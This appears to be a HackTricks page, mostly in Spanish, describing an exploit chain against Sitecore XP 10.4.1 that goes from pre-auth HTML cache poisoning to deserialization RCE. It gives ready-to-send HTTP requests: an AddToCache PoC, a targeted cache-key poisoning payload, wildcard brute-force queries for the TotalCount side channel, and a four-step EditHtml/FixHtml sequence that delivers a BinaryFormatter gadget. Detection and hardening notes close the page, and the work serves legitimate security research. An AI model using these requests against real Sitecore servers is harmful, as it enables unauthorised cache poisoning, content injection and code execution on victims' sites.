Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE
Reading time: 7 minutes
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Esta página resume una cadena de ataque práctica contra Sitecore XP 10.4.1 que pivota desde un pre‑auth XAML handler hacia HTML cache poisoning y, mediante un authenticated UI flow, a RCE a través de BinaryFormatter deserialization. Las técnicas se generalizan a versiones/componentes similares de Sitecore y proporcionan primitivas concretas para probar, detectar y endurecer.
- Producto afectado probado: Sitecore XP 10.4.1 rev. 011628
- Corregido en: KB1003667, KB1003734 (junio/julio 2025)
Ver también:
Cache Poisoning and Cache Deception
Pre‑auth primitive: XAML Ajax reflection → HtmlCache write
El punto de entrada es el pre‑auth XAML handler registrado en web.config:
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />
Accesible a través de:
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
El árbol de controles incluye AjaxScriptManager que, en solicitudes de eventos, lee attacker‑controlled fields e invoca métodos mediante reflexión en los controles objetivo:
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"]; // target control
string text = page.Request.Form["__PARAMETERS"]; // Method("arg1", "arg2")
...
Dispatch(clientId, text);
// eventually → DispatchMethod(control, parameters)
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
if (m != null) m.Invoke(this, e.Parameters);
// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
Observación clave: la página XAML incluye una instancia XmlControl (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl deriva de Sitecore.Web.UI.WebControl (una clase de Sitecore), que pasa la allow‑list ReflectionUtil.Filter (Sitecore.*), desbloqueando métodos en Sitecore WebControl.
Magic method for poisoning:
// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}
Porque podemos apuntar a xmlcontrol:GlobalHeader y llamar a métodos de Sitecore.Web.UI.WebControl por nombre, obtenemos un pre‑auth arbitrary HtmlCache write primitive.
Solicitud de PoC (CVE-2025-53693)
POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
Notas:
- __SOURCE es el clientID de xmlcontrol:GlobalHeader dentro de Sitecore.Shell.Xaml.WebControl (comúnmente estable, como ctl00_ctl00_ctl05_ctl03 ya que se deriva de XAML estático).
- __PARAMETERS tiene el formato Method("arg1","arg2").
Qué envenenar: Construcción de claves de caché
Construcción típica de claves de HtmlCache usada por los controles de Sitecore:
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
if (key.Length > 0){
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
if (this.VaryByData) k += ResolveDataKeyPart();
if (this.VaryByDevice) k += "_#dev:" + Sitecore.Context.GetDeviceName();
if (this.VaryByLogin) k += "_#login:" + Sitecore.Context.IsLoggedIn;
if (this.VaryByUser) k += "_#user:" + Sitecore.Context.GetUserName();
if (this.VaryByParm) k += "_#parm:" + this.Parameters;
if (this.VaryByQueryString && site?.Request != null)
k += "_#qs:" + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
if (this.ClearOnIndexUpdate) k += "_#index";
return k;
}
}
return string.Empty;
}
Ejemplo de envenenamiento dirigido para un sublayout conocido:
__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
Enumerando elementos cacheables y “vary by” dimensions
Si ItemService está (mal)expuesto anónimamente, puedes enumerar componentes cacheables para derivar claves exactas.
Prueba rápida:
GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required
Listar elementos cacheables y flags:
GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
Busca campos como Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Los nombres de dispositivo pueden enumerarse mediante:
GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
Enumeración por canal lateral bajo identidades restringidas (CVE-2025-53694)
Incluso cuando ItemService se hace pasar por una cuenta limitada (p. ej., ServicesAPI) y devuelve un array Results vacío, TotalCount aún puede reflejar pre‑ACL Solr hits. Puedes brute‑force item groups/ids con wildcards y observar cómo TotalCount converge para mapear contenido interno y dispositivos:
GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
GET /...term=%2B_templatename:Device;%2B_group:aa*
→ "TotalCount": 2
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item
Post‑auth RCE: BinaryFormatter sink en convertToRuntimeHtml (CVE-2025-53691)
Sink:
// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));
Accesible a través del paso del pipeline convertToRuntimeHtml ConvertWebControls, que busca un elemento con id {iframeId}_inner y decodifica base64 + deserializa su contenido, luego inyecta la cadena resultante en el HTML:
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2 = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
Trigger (autenticado, permisos de Content Editor). El diálogo FixHtml llama a convertToRuntimeHtml. De extremo a extremo sin hacer clics en la UI:
// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx
// 2) Load malicious HTML into EditHtml session (XAML event)
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc" value="poc"></iframe>
<test id="test_inner" value="BASE64_GADGET"></test>
</html>
// 3) Server returns a session handle (hdl) for FixHtml
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}
// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. The string’s contents are written into the HTML by ConvertWebControls after deserialization side‑effects execute.
Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
Cadena completa
- Pre‑auth attacker poisons HtmlCache with arbitrary HTML by reflectively invoking WebControl.AddToCache via XAML AjaxScriptManager.
- Poisoned HTML serves JavaScript that nudges an authenticated Content Editor user through the FixHtml flow.
- The FixHtml page triggers convertToRuntimeHtml → ConvertWebControls, which deserializes attacker‑controlled base64 via BinaryFormatter → RCE under the Sitecore app pool identity.
Detección
- Pre‑auth XAML: solicitudes a
/-/xaml/Sitecore.Shell.Xaml.WebControl
con__ISEVENT=1
,__SOURCE
sospechoso y__PARAMETERS=AddToCache(...)
. - Sondeos de ItemService: picos de consultas comodín a
/sitecore/api/ssc
,TotalCount
grande conResults
vacíos. - Intentos de deserialization:
EditHtml.aspx
seguido deFixHtml.aspx?hdl=...
y base64 inusualmente grande en campos HTML.
Endurecimiento
- Aplicar los parches de Sitecore KB1003667 y KB1003734; gate/disable handlers pre‑auth XAML o añadir validación estricta; monitorizar y limitar la tasa de
/-/xaml/
. - Eliminar/reemplazar BinaryFormatter; restringir el acceso a convertToRuntimeHtml o aplicar validación fuerte del lado servidor en los flujos de edición HTML.
- Restringir
/sitecore/api/ssc
a loopback o a roles autenticados; evitar patrones de impersonation que provoquen side‑channels basados enTotalCount
. - Aplicar MFA/least privilege para usuarios Content Editor; revisar CSP para reducir el impacto del steering de JS derivado de cache poisoning.
References
- watchTowr Labs – Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE
- Sitecore KB1003667 – Security patch
- Sitecore KB1003734 – Security patch
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.